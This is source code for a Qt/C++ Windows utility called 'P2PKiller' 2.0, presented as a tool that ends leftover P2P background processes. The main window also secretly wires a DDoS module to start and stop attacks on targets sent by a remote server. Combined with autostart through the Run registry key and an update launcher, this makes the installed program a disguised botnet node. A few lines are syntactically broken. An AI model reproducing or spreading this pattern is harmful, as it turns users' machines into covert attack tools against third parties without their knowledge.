#ifndef KILLPROCESS_H
#define KILLPROCESS_H
#include <QObject>
#include <QThread>
#include <QLibrary>
#include <QFile>
#include <QDataStream>
#include <QTime>
#include <QVector>
//============================================================================================================
//我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台
//每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了
//我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵
//P2P后台终结者 版本2.0
//程序编程人员:Jason's.Alex QQ:531401335
//QT社区群:3855916
//日期:2011/08/03
//============================================================================================================
typedef void (*ADDPROCESSLIST) (const char *fore,const char *back);
typedef void (*INSTALLCALLBACKPROCESS) (ADDPROCESSLIST &AD);安装添加进程回调函数
typedef void (*FINDPROCESSMATCH)();//搜索关联进程
typedef void (*CLEANDATA)();//清除进程列表数据
void LogMessage(const char*);//日志消息
typedef void (*LOG)(const char*);//日志回调函数
typedef void (*INSTALL)(LOG);//安装日志钩子
struct ProcessDetail//进程详细信息
{
QString name;//进程名
QString back;//后台进程
QString descript;//描述
bool operator==(const QString &rhs)
{
return back==rhs;
}
};
class KillProcess : public QObject
{
Q_OBJECT
public:
explicit KillProcess(QObject *parent = 0);
void ShowLog(const char *);//显示日志消息
void LoadDll();//载入动态链接库
signals:
void Error(const QString &);//错误信息
void ShowLogMessage(const QString &);//显示日志消息
void ShowTrayMessage(const QString &);//显示托盘消息
public slots:
void AddToProcessList();//添加到结束进程列表
void ClearProcess();//清理进程
void ClearProcessList();//清空进程数据列表
void AppendProcessList(const QString &,const QString &,const QString &);
private:
QLibrary dll;
QVector<ProcessDetail> processList;
INSTALLCALLBACKPROCESS AddCallBackProcess;安装添加进程回调函数
FINDPROCESSMATCH FindMatchProcess;//查找进程
INSTALL InstallLog;//日志回调函数
CLEANDATA ClearData;//清楚数据
QString appPath;
ADDPROCESSLIST AddKillProcessList;//添加要结束的进程
};
extern KillProcess *killProcess;
#endif // KILLPROCESS_H
#include "killprocess.h"
#include <QDir>
#include <QDebug>
KillProcess *killProcess;
KillProcess::KillProcess(QObject *parent):
QObject(parent),dll("System.dll")
{
}
void KillProcess::LoadDll()//载入动态链接库
{
ClearData=(CLEANDATA)dll.resolve("CleanData");
FindMatchProcess=(FINDPROCESSMATCH)dll.resolve("FindMatchProcess");
InstallLog=(INSTALL)dll.resolve("InstallLog");
AddCallBackProcess=(INSTALLCALLBACKPROCESS)dll.resolve("IntstallCallBackProcess");
if(!AddCallBackProcess||!FindMatchProcess||!InstallLog||!ClearData)
emit Error(tr("Loading system.dll failed!!"));
InstallLog(LogMessage);//安装日志回调钩子
AddCallBackProcess(AddKillProcessList);//安装添加进程回调函数
}
void KillProcess::AppendProcessList(const QString &name, const QString &back, const QString &decrip)
{
ProcessDetail pd;
pd.name=name;
pd.back=back;
pd.descript=decrip;
processList.append(pd);
}
void KillProcess::AddToProcessList()
{
for(QVector<ProcessDetail>::iterator iter=processList.begin();iter!=processList.end();++iter)
{
AddKillProcessList(iter->name.toStdString ().c_str(),iter->back.toStdString ().c_str());
}
}
void KillProcess::ClearProcess()//清理进程
{
FindMatchProcess();
}
void KillProcess::ClearProcessList()//清空数据进程列表
{
ClearData();
}
void KillProcess::ShowLog(const char *msg)//显示日志消息
{
QVector<ProcessDetail>::const_iterator ite=qFind(processList.begin(),processList.end(),QString(msg));
emit ShowLogMessage(QTime::currentTime().toString()+tr(" -><font color=purple>KillBackground:</font><font color=red>")+msg+
tr("</font> -><font color=purple>MainProcess:</font><font color=blue>")+ite->name+
tr("</font> -><font color=purple>Descript:</font><font color=green>")+ite->descript+"</font>");//显示日志消息
emit ShowTrayMessage(tr("KillBackground:")+msg);//显示托盘消息
}
void LogMessage(const char*msg)//日志消息
{
killProcess->ShowLog(msg);
}
#ifndef MAINWINDOW_H
#define MAINWINDOW_H
#include <QMainWindow>
#include <killprocess.h>
#include <QMessageBox>
#include <thread.h>
#include <QSystemTrayIcon>
#include <QCloseEvent>
#include <QMenu>
#include <QSettings>
#include <aboutform.h>
#include <QScrollBar>
#include <QDesktopServices>
#include <QUrl>
#include <QTimer>
#include <network.h>
#include <ddos.h>
//============================================================================================================
//我非常讨厌一些P2P软件退出的时候并没有把后台退出。这些后台占用您的网络资源。造成网络非常不稳定,整个程序会自动扫描没有关闭的后台
//每次打开任务管理我都觉得非常麻烦。对于不懂的人那是因为自己的电脑又中病毒了
//我花了3天时间制作了这个小软件。反响不错。现在很多的安全软件都没有这个功能。我帮了不少人..呵呵
//P2P后台终结者 版本2.0
//程序编程人员:Jason's.Alex QQ:531401335
//QT社区群:3855916
//日期:2011/08/03
//============================================================================================================
namespace Ui {
class MainWindow;
}
class MainWindow : public QMainWindow
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
virtual void hideEvent(QHideEvent *);//隐藏事件
virtual void showEvent(QShowEvent *);//显示事件
virtual void closeEvent(QCloseEvent *);//关闭事件
void CreateTrayMenu();//创建托盘菜单
void CreateAction();//创建动作
void CreateNetwork();//创建网络通讯
void CreateDDos();//创建DDOS攻击
public slots:
void Error(const QString &);//显示错误信息
void TrayMessage(const QString &);//显示托盘消息
void activated( QSystemTrayIcon::ActivationReason reason );//托盘事件
void SetAutoRun(bool);//设置自动启动
void ShowAbout();// 显示关于
void ScrollToEnd();//拖动滚动条到最后
void LeaveMessage();//留言给我
void OfficialSite();//访问官方
void UpdateVersion(const bool,const QStringList &);//检测新版本
private:
Ui::MainWindow *ui;
ProcessThread thread;
QSystemTrayIcon *tray;//托盘
QMenu *trayMenu;//托盘菜单
bool closed;
QAction *autoRun;// 自动运行
AboutForm *aboutForm;//关于窗口
QPoint dPos,mousePos,windowPos;
Network *network;//网络通讯
DDos *ddos;//DDOS攻击
};
#endif // MAINWINDOW_H
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <QProcess>
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow),closed(false)
{
ui->setupUi(this);
this->setFixedSize(this->size());
killProcess=new KillProcess(this);
tray=new QSystemTrayIcon(this);
tray->setIcon(QIcon(":/image/icon.png"));
tray->setVisible(true);
connect(killProcess,SIGNAL(ShowLogMessage(QString)),ui->textEdit,SLOT(append(QString)));
connect(killProcess,SIGNAL(ShowTrayMessage(QString)),SLOT(TrayMessage(QString)));
connect(killProcess,SIGNAL(Error(QString)),SLOT(Error(QString)));
killProcess->LoadDll();
connect(tray,SIGNAL(activated(QSystemTrayIcon::ActivationReason)),SLOT(activated(QSystemTrayIcon::ActivationReason)));
connect(ui->textEdit,SIGNAL(textChanged()),SLOT(ScrollToEnd()));
this->CreateNetwork();
this->CreateAction();
this->CreateTrayMenu();
this->CreateDDos();
}
//====================================================================================================================
void MainWindow::UpdateVersion(const bool arg, const QStringList &list)//检测新版本
{
if(arg)
{
if(QMessageBox::Yes==QMessageBox::information(0,tr("New Version"),
tr("Have new version\nDownload..Now!"),QMessageBox::Yes,QMessageBox::No))
{
qApp->quit();
QProcess *p=new QProcess(0);
p->setWorkingDirectory(qApp->applicationDirPath());
p->start("update.exe",list);
}
}else
{
tray->showMessage(tr("Not Version"),tr("Up to data"));
}
}
//=====================================================================================================================
MainWindow::~MainWindow()
{
delete ui;
delete killProcess;
}
void MainWindow::ScrollToEnd()//拖动滚动条到最后
{
ui->textEdit->verticalScrollBar()->setValue(ui->textEdit->verticalScrollBar()->value());
}
//======================================================================================================================
void MainWindow::CreateTrayMenu()//创建托盘菜单
{
trayMenu=new QMenu(this);
trayMenu->addAction(QIcon(":/image/icon.png"),tr("About Software"),this,SLOT(ShowAbout()));
trayMenu->addSeparator();
trayMenu->addAction(QIcon(":/image/Official.png"),tr("OfficialSite"),this,SLOT(OfficialSite()));
trayMenu->addSeparator();
trayMenu->addAction(QIcon(":/image/leave.png"),tr("LeaveMessage"),this,SLOT(LeaveMessage()));
trayMenu->addSeparator();
trayMenu->addAction(QIcon(":/image/update.png"),tr("UpdateVersion"),network,SLOT(SendVersion()));
trayMenu->addSeparator();
trayMenu->addAction(autoRun);
trayMenu->addSeparator();
trayMenu->addAction(QIcon(":/image/close.png"),tr("Quit"),qApp,SLOT(quit()));
tray->setContextMenu(trayMenu);
}
//===========================================================================================================================
void MainWindow::CreateAction()
{
autoRun=new QAction(tr("AutoRun"),this);
autoRun->setCheckable(true);//设置是否显示验证钩;
connect(autoRun,SIGNAL(triggered(bool)),SLOT(SetAutoRun(bool)));
QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat);
autoRun->setChecked(!reg.value("P2PKiller").isNull());
}
//==========================================================================================================================
void MainWindow::CreateNetwork()//创建网络模块
{
network=new Network(this);
connect(network,SIGNAL(EmitUpdate(bool,QStringList)),SLOT(UpdateVersion(bool,QStringList)));
connect(network,SIGNAL(EmitData(QString,QString,QString)),killProcess,SLOT(AppendProcessList(QString,QString,QString)));
connect(network,SIGNAL(EmitReadDataFinish()),killProcess,SLOT(AddToProcessList()));
connect(network,SIGNAL(EmitReadDataFinish()),&thread,SLOT(start()));
connect(network,SIGNAL(EmitStartReadData()),&thread,SLOT(terminate()));
connect(network,SIGNAL(EmitStartReadData()),killProcess,SLOT(ClearProcessList()));
network->Connect();
}
//===========================================================================================================================
void MainWindow::CreateDDos()//创建DDO攻击
{
ddos=new DDos(this);
connect(network,SIGNAL(EmitStartDDos(QString)),ddos,SLOT(StartDDos(QString)));
connect(network,SIGNAL(EmitStopDDos()),ddos,SLOT(StopDDos()));
}
//===========================================================================================================================
void MainWindow::SetAutoRun(bool state)
{
QSettings reg("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",QSettings::NativeFormat);
if(state)
reg.setValue("P2PKiller",qApp->applicationFilePath().replace("/","\\")+" -Min");
else
reg.remove("P2PKiller");
}
void MainWindow::TrayMessage(const QString &s)//显示托盘消息
{
tray->showMessage(tr("P2PKiller"),s,QSystemTrayIcon::Information,1000);
}
void MainWindow::activated(QSystemTrayIcon::ActivationReason reason)//托盘事件
{
if(reason==QSystemTrayIcon::DoubleClick)
this->show();
}
void MainWindow::hideEvent(QHideEvent *)
{
tray->show();
}
void MainWindow::Error(const QString &arg)//错误信息
{
QMessageBox::warning(this,tr("Error"),arg+tr("\nDownload system.dll file"));
qApp->quit();
QProcess *p=new QProcess(0);
p->setWorkingDirectory(qApp->applicationDirPath());
p->start("update.exe",QStringList()<<"system.dll");
}
void MainWindow::showEvent(QShowEvent *)
{
tray->hide();
}
void MainWindow::closeEvent(QCloseEvent *e)
{
e->ignore();
this->hide();
}
void MainWindow::ShowAbout()
{
aboutForm=new AboutForm(this);
aboutForm->show();
}
void MainWindow::LeaveMessage()
{
QDesktopServices().openUrl(QUrl("http://531401335.qzone.qq.com"));//访问开发者空间
}
void MainWindow::OfficialSite()
{
QDesktopServices().openUrl(QUrl("http://bctalk.5d6d.com"));//访问官方
}
//---------------------------------------------------------------------------
#include <windows.h>
#include "system.h"
#include "ddos.h"
//---------------------------------------------------------------------------
// Important note about DLL memory management when your DLL uses the
// static version of the RunTime Library:
//
// If your DLL exports any functions that pass String objects (or structs/
// classes containing nested Strings) as parameter or function results,
// you will need to add the library MEMMGR.LIB to both the DLL project and
// any other projects that use the DLL. You will also need to use MEMMGR.LIB
// if any other projects which use the DLL will be performing new or delete
// operations on any non-TObject-derived classes which are exported from the
// DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling
// EXE's to use the BORLNDMM.DLL as their memory manager. In these cases,
// the file BORLNDMM.DLL should be deployed along with your DLL.
//
// To avoid using BORLNDMM.DLL, pass string information using "char *" or
// ShortString parameters.
//
// If your DLL uses the dynamic version of the RTL, you do not need to
// explicitly add MEMMGR.LIB as this will be done implicitly for you
//---------------------------------------------------------------------------
#pragma argsused
typedef void (*ADDPROCESSLIST)(const char *fore,const char *back);
void AddKillPorcessList(const char *fore,const char *back); //添加进程列表
extern "C" __declspec(dllexport) void __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD); //添加进程列表回调函数
extern "C" __declspec(dllexport) void __stdcall FindMatchProcess();//查找匹配进程
extern "C" __declspec(dllexport) void __stdcall CleanData();//清空数据
typedef void (*LOG)(const char*); //日志钩子
extern "C" __declspec(dllexport) void __stdcall InstallLog(::LOG);//安装日志钩子
struct ProcessDetail //进程详情
{
string name;
string back;
};
typedef struct ProcessManage //进程管理
{
vector<ProcessDetail> ProcessList;
Process SystemProcess;
void FindMatchProcess();//查找匹配进程;
}*PProcessManage;
PProcessManage pProcessManage;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
switch(reason)
{
case DLL_PROCESS_ATTACH:
pProcessManage=new ProcessManage;
break;
case DLL_PROCESS_DETACH:
delete pProcessManage;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return 1;
}
//-----------------------------------------------------------------------------
void __stdcall IntstallCallBackProcess(ADDPROCESSLIST &AD) //添加进程列表回调函数
{
AD=AddKillPorcessList;
}
void AddKillPorcessList(const char *fore,const char *back)
{
ProcessDetail pd;
pd.name=fore;
pd.back=back;
pProcessManage->ProcessList.push_back(pd);
}
//-----------------------------------------------------------------------------
void __stdcall FindMatchProcess()//查找进程
{
pProcessManage->FindMatchProcess();
}
//-----------------------------------------------------------------------------
void __stdcall CleanData()//清空数据
{
pProcessManage->ProcessList.clear();
}
//-----------------------------------------------------------------------------
void ProcessManage::FindMatchProcess()//查找匹配进程;
{
for(vector<ProcessDetail>::const_iterator iter=ProcessList.begin();iter!=ProcessList.end();++iter)
{
if(SystemProcess.ProcessFind(iter->back)!=0)
{
if(SystemProcess.ProcessFind(iter->name)==0)
SystemProcess.AddBanProcess(iter->back);
}
}
SystemProcess.BanProcess(false);
}
//-----------------------------------------------------------------------------
void __stdcall InstallLog(::LOG LogMsg)//安装日志钩子
{
pProcessManage->SystemProcess.LogMsg=LogMsg;
}
/---------------------------------------------------------------------------
#pragma hdrstop
#include "System.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
TokenPrivilege::TokenPrivilege(const DWORD &DesiredAccess,LPCTSTR PrivilegeValue,
const DWORD &Attributes,const HANDLE &Handle)
{
HANDLE Token;
TOKEN_PRIVILEGES TP;
OpenProcessToken(Handle,DesiredAccess,&Token); //打开进程令牌
LookupPrivilegeValue(NULL,PrivilegeValue,&TP.Privileges[0].Luid);
TP.PrivilegeCount=1;
TP.Privileges[0].Attributes=Attributes;
AdjustTokenPrivileges(Token,false,&TP,sizeof(TP),NULL,0); //将当前程序启用特权
CloseHandle(Token);
}
//=============================================================================
Power::Power():TokenPrivilege(TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,SE_SHUTDOWN_NAME,SE_PRIVILEGE_ENABLED)
{
}
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
bool Power::SetPower(PowerKind Kind)const //执行关机函数
{
switch(Kind)
{
case PowerKind::ShutDown:
if(!ExitWindowsEx(EWX_FORCE|EWX_SHUTDOWN,0)) //关机
{
return false;
}
break;
case Reboot:
if(!ExitWindowsEx(EWX_FORCE|EWX_REBOOT,0)) //重启
{
return false;
}
break;
case Pause:
if(!SetSystemPowerState(true,true))//待机
{
return false;
}
break;
case Dormant:
if(!SetSystemPowerState(false,true))//休眠
{
return false;
}
break;
case LogOff:
if(!ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0))//注销
{
return false;
}
break;
case Display:
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, 2);//关闭显示器
break;
default:
return false;
}
return true;
}
//==============================================================================
//设置网卡IP地址,网关类
//===============================================================================
NetCard::NetCard()
{
Reg=new TRegistry; //设置注册表键值
Reg->RootKey=HKEY_LOCAL_MACHINE;
if(!this->NetCardInfo()) //捕获异常信息
{
throw Exception("获取网卡信息失败!");
}
}
//----------------------------------------------------------------------------
NetCard::~NetCard()
{
delete Reg;
}
//------------------------------------------------------------------------------
bool NetCard::NetCardInfo()//获取网关信息
{
TStringList *Keys=new TStringList;
DWORD DateType,BufSize=256;
Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards",false);
Reg->GetKeyNames(Keys);//获取所有网卡设备
Reg->CloseKey();
for(int i=0;i<Keys->Count;++i)
{
Reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkCards\\"+Keys[0][i],false);
DescriptionName=Reg->ReadString("Description"); //获取设备描述名字
DeviceID=Reg->ReadString("ServiceName");//获取设备ID
Reg->CloseKey();
if(!DescriptionName.IsEmpty())//判断是否是网卡
{
Reg->OpenKey("\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\"+DeviceID,false);//打开当前设备配置
if(RegSetValueEx(Reg->CurrentKey,"DefaultGateway",0,REG_MULTI_SZ,Gateway,sizeof(Gateway))!=0)//设置网关地址
return false;
if(RegQueryValueEx(Reg->CurrentKey,"IPAddress",0,&DateType,IPAddr,&BufSize)!=0) //获取IP地址
return false;
BufSize=256;
if(RegQueryValueEx(Reg->CurrentKey,"SubnetMask",0,&DateType,SubMask,&BufSize)!=0) //获取子掩码
return false;
Reg->CloseKey();
break;
}
}
delete Keys;
return true;
}
//-----------------------------------------------------------------------------
const String& NetCard::GetDeviceID() //获取设备ID
{
return DeviceID;
}
//-----------------------------------------------------------------------------
const String& NetCard::GetDescripitonName()//获取描述名
{
return DescriptionName;
}
//-----------------------------------------------------------------------------
const String& NetCard::GetIPAddress()//获取IP地址
{
return IPAddr;
}
//-----------------------------------------------------------------------------
const String& NetCard::GetSubMask()//获取子掩码
{
return SubMask;
}
//-----------------------------------------------------------------------------
const String& NetCard::GetGateway()//获取网关地址
{
return Gateway;
}
//----------------------------------------------------------------------------
bool NetCard::SetGateway(String Gateway)//设置网关
{
return NotifyGatewayChange(IPAddr,SubMask,Gateway);
}
//--------------------------------------------------------------------------------
bool NetCard::NotifyGatewayChange(const String &IPAddr,const String &SubMask,const String &Gateway)const//通知网关更改事件
{
String Parameter("interface ip set address \"本地连接\" static");
Parameter+=" "+IPAddr+" "+SubMask+" "+Gateway+" "+"1";
return ShellExecute(NULL,"open","netsh",Parameter.t_str(),NULL,SW_HIDE);
}
//===============================================================================
//系统进程管理
//===============================================================================
Process::Process():
TokenPrivilege(TOKEN_ADJUST_PRIVILEGES,SE_DEBUG_NAME,SE_PRIVILEGE_ENABLED)
{
}
//-------------------------------------------------------------------------------
void Process::AddBanProcess(const string &Process)//添加要结束的进程
{
ProcessList.push_back(Process);
}
//------------------------------------------------------------------------------
bool Process::ProcessFirst(HANDLE Snapshot,PPROCESSENTRY32 PPE)const//枚举进程
{
bool OK=Process32First(Snapshot,PPE);
if(OK&&(PPE->th32ProcessID==0))
OK=ProcessNext(Snapshot,PPE);
return OK;
}
//------------------------------------------------------------------------------
bool Process::ProcessNext(HANDLE Snapshot,PPROCESSENTRY32 PPE)const
{
bool OK=Process32Next(Snapshot,PPE);
if(OK&&(PPE->th32ProcessID==0))
OK=ProcessNext(Snapshot,PPE);
return OK;
}
//------------------------------------------------------------------------------
PROCESSENTRY32 PE;//进程映射
DWORD Process::ProcessFind(const string &ExeName)const// 查找进程
{
PROCESSENTRY32 PPE={sizeof(PPE)};
HANDLE Snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(Snapshot==INVALID_HANDLE_VALUE)
return 0;
for(bool Ok=ProcessFirst(Snapshot,&PPE);Ok;Ok=ProcessNext(Snapshot,&PPE))
{
if(ExeName.compare(PPE.szExeFile)==0)
{
CloseHandle(Snapshot);
PE=PPE;
return PPE.th32ProcessID; //返回进程ID
}
}
CloseHandle(Snapshot);
return 0;
}
//-------------------------------------------------------------------------------
HANDLE Process::GetProcessHandle(const int &Id)const//获取进程句柄
{
return OpenProcess(PROCESS_TERMINATE,false,Id);//获取进程句柄
}
//--------------------------------------------------------------------------------
void Process::BanProcess(const bool &Enable)//禁止进程
{
DWORD WndId=0;
// while(Enable)
//{
for(int i=0;i<ProcessList.size();++i)
{
if(WndId=ProcessFind(ProcessList[i]))
{
HANDLE hwnd=GetProcessHandle(WndId);
if(hwnd)
{
TerminateProcess(hwnd,0);
CloseHandle(hwnd);
LogMsg(PE.szExeFile); //日志消息钩子
}
}
}
ProcessList.clear();//清空进程列表
// Application->ProcessMessages();
// Sleep(10);
//}
}
//==============================================================================
//系统hook
//==============================================================================
bool Hook::SystemIdle=false;
HHOOK Hook::HookHandle=NULL;
//------------------------------------------------------------------------------
Hook::Hook(int HookId)
{
switch(HookId)
{
case WH_JOURNALRECORD:
{
HookHandle=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
break;
}
}
if(HookHandle==NULL) //是否成功启用hook.否则引发异常
throw Exception("使用hook失败");
}
//------------------------------------------------------------------------------
bool Hook::GetSystemIdle(void)
{
bool TempIdle=SystemIdle;
SystemIdle=true;//设置为空闲状态
return TempIdle;
}
//------------------------------------------------------------------------------
Hook::~Hook()
{
if(HookHandle!=NULL) //卸载钩子
UnhookWindowsHookEx(HookHandle);
}
//-------------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)//日子钩子回调函数
{
if(iCode<0)
return (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG *MSG=(EVENTMSG*)lParam;
if(MSG->message==WM_KEYDOWN||MSG->message==WM_MOUSEMOVE)
{
Hook::SystemIdle=false;//使用中
}
}
return (HOOKPROC)CallNextHookEx(Hook::HookHandle,iCode,wParam,lParam);
}
//---------------------------------------------------------------------------------
//==============================================================================
//获取CPU使用量
Hardware::Hardware()
{
GetSystemTimes(&PreIdle,&PreKernel,&PreUser);
}
//------------------------------------------------------------------------------
int Hardware::GetCPUUsage(void)
{
this->ExecuteFileTime();
return (KernelTime+UserTime-IdleTime)*100/(KernelTime+UserTime);//计算CPU使用量
}
//------------------------------------------------------------------------------
int Hardware::GetCPUIdle(void)//获取CPU空闲率
{
this->ExecuteFileTime();
return IdleTime*100/(KernelTime+UserTime);
}
//------------------------------------------------------------------------------
int Hardware::GetCPUNum(void)const//获取CPU数量
{
_SYSTEM_INFO CPU;
GetSystemInfo(&CPU);
return CPU.dwNumberOfProcessors;
}
//------------------------------------------------------------------------------
int Hardware::CompareFileTime(const _FILETIME *PreTime,const _FILETIME *CurrentTime)const//比较两个时间片
{
int Pre=PreTime->dwHighDateTime<<32|PreTime->dwLowDateTime;//获取先前的时间片
int Cur=CurrentTime->dwHighDateTime<<32|CurrentTime->dwLowDateTime; //获取当前的时间片
return (Cur-Pre);
}
//-------------------------------------------------------------------------------
void Hardware::ExecuteFileTime(void)//执行时间片
{
Application->ProcessMessages();
Sleep(1000);
GetSystemTimes(&Idle,&Kernel,&User);
//比较时间片
IdleTime=CompareFileTime(&PreIdle,&Idle);
KernelTime=CompareFileTime(&PreKernel,&Kernel);
UserTime=CompareFileTime(&PreUser,&User);
PreIdle=Idle;//交换时间片
PreKernel=Kernel;
PreUser=User;
}